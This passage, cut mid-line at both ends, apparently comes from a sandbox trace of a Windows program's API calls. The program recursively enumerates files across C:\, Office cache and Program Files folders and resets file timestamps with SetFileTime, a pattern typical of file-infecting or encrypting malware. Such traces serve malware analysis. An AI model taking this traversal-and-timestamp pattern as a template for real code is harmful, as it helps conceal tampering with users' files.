wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.928] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned="pkeyconfig-office.xrm-ms" [0057.928] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" [0057.928] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="" [0057.928] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.928] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.928] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned="setup.exe" [0057.928] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" [0057.928] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="" [0057.929] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x780074, dwReserved1=0x74, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0057.929] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.929] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned="Setup.xml" [0057.929] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" [0057.929] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="" [0057.929] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x780074, dwReserved1=0x74, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0057.929] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.929] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned="VisiorWW.cab" [0057.929] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" [0057.929] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="" [0057.929] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x780074, dwReserved1=0x74, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0057.929] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.929] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned="VisiorWW.msi" [0057.930] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" [0057.930] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="" [0057.930] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x780074, dwReserved1=0x74, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0057.930] FindClose (in: hFindFile=0x4f7048 | out: hFindFile=0x4f7048) returned 1 [0057.930] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 0 [0057.930] FindClose (in: hFindFile=0x4f7088 | out: hFindFile=0x4f7088) returned 1 [0057.930] FindNextFileA (in: hFindFile=0x4f6000, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0057.930] FindClose (in: hFindFile=0x4f6000 | out: hFindFile=0x4f6000) returned 1 [0057.930] FindNextFileA (in: hFindFile=0x4f4e38, lpFindFileData=0x18fe38 | out: lpFindFileData=0x18fe38*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xaece4da0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x53004d, dwReserved1=0x3, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0057.931] PeekMessageA (in: lpMsg=0x18fe14, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fe14) returned 0 [0057.931] PathFindFileNameA (pszPath="C:\\*.*") returned="*.*" [0057.931] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\" [0057.931] PathAddBackslashA (in: pszPath="C:\\" | out: pszPath="C:\\") returned="" [0057.931] FindNextFileA (in: hFindFile=0x4f4e38, lpFindFileData=0x18fe38 | out: lpFindFileData=0x18fe38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0057.931] lstrcmpA (lpString1=".", lpString2="PerfLogs") returned -1 [0057.931] lstrcmpA (lpString1="..", lpString2="PerfLogs") returned -1 [0057.931] PathFindFileNameA (pszPath="C:\\pagefile.sys") returned="pagefile.sys" [0057.931] FindFirstFileA (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18fb50, dwReserved1=0x4f6036, cFileName=".", cAlternateFileName="")) returned 0x4f6000 [0057.932] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.932] FindNextFileA (in: hFindFile=0x4f6000, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.932] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.932] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.932] FindNextFileA (in: hFindFile=0x4f6000, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0057.932] lstrcmpA (lpString1=".", lpString2="Admin") returned -1 [0057.932] lstrcmpA (lpString1="..", lpString2="Admin") returned -1 [0057.932] PathFindFileNameA (pszPath="C:\\PerfLogs\\*.*") returned="*.*" [0057.932] FindFirstFileA (in: lpFileName="C:\\PerfLogs\\Admin\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6040, dwReserved1=0x4f603b, cFileName=".", cAlternateFileName="")) returned 0x4f7080 [0057.933] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.933] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.933] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.933] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.933] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 0 [0057.933] FindClose (in: hFindFile=0x4f7080 | out: hFindFile=0x4f7080) returned 1 [0057.933] FindNextFileA (in: hFindFile=0x4f6000, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0057.933] FindClose (in: hFindFile=0x4f6000 | out: hFindFile=0x4f6000) returned 1 [0057.933] FindNextFileA (in: hFindFile=0x4f4e38, lpFindFileData=0x18fe38 | out: lpFindFileData=0x18fe38*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe7420640, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe7420640, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650050, dwReserved1=0x3, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0057.933] lstrcmpA (lpString1=".", lpString2="Program Files") returned -1 [0057.933] lstrcmpA (lpString1="..", lpString2="Program Files") returned -1 [0057.933] PathFindFileNameA (pszPath="C:\\*.*") returned="*.*" [0057.933] FindFirstFileA (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe7420640, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe7420640, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x640041, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x4f6038 [0057.934] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.934] FindNextFileA (in: hFindFile=0x4f6038, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe7420640, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe7420640, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.934] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.934] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.934] FindNextFileA (in: hFindFile=0x4f6038, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc3ae780, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc3ae780, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0057.934] lstrcmpA (lpString1=".", lpString2="Common Files") returned -1 [0057.934] lstrcmpA (lpString1="..", lpString2="Common Files") returned -1 [0057.934] PathFindFileNameA (pszPath="C:\\Program Files\\*.*") returned="*.*" [0057.934] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc3ae780, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc3ae780, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6078, dwReserved1=0x4f6073, cFileName=".", cAlternateFileName="")) returned 0x4f70d0 [0057.934] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.935] FindNextFileA (in: hFindFile=0x4f70d0, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc3ae780, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc3ae780, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.935] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.935] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.935] FindNextFileA (in: hFindFile=0x4f70d0, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0057.935] lstrcmpA (lpString1=".", lpString2="DESIGNER") returned -1 [0057.935] lstrcmpA (lpString1="..", lpString2="DESIGNER") returned -1 [0057.935] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\*.*") returned="*.*" [0057.935] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7110, dwReserved1=0x4f710b, cFileName=".", cAlternateFileName="")) returned 0x4f7080 [0057.936] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.936] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.936] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.936] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.936] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0057.936] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.936] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\DESIGNER\\*.*") returned="*.*" [0057.936] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\DESIGNER\\" | out: lpString1="C:\\Program Files\\Common Files\\DESIGNER\\") returned="C:\\Program Files\\Common Files\\DESIGNER\\" [0057.936] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\DESIGNER\\" | out: pszPath="C:\\Program Files\\Common Files\\DESIGNER\\") returned="" [0057.939] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.939] CloseHandle (hObject=0x88) returned 1 [0057.939] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0057.939] FindClose (in: hFindFile=0x4f7080 | out: hFindFile=0x4f7080) returned 1 [0057.939] FindNextFileA (in: hFindFile=0x4f70d0, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0057.940] lstrcmpA (lpString1=".", lpString2="Microsoft Shared") returned -1 [0057.940] lstrcmpA (lpString1="..", lpString2="Microsoft Shared") returned -1 [0057.940] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\*.*") returned="*.*" [0057.940] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f83c8, cFileName=".", cAlternateFileName="")) returned 0x4f7080 [0057.940] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.940] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.940] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.940] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.940] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0057.940] lstrcmpA (lpString1=".", lpString2="DW") returned -1 [0057.940] lstrcmpA (lpString1="..", lpString2="DW") returned -1 [0057.940] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0057.940] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, 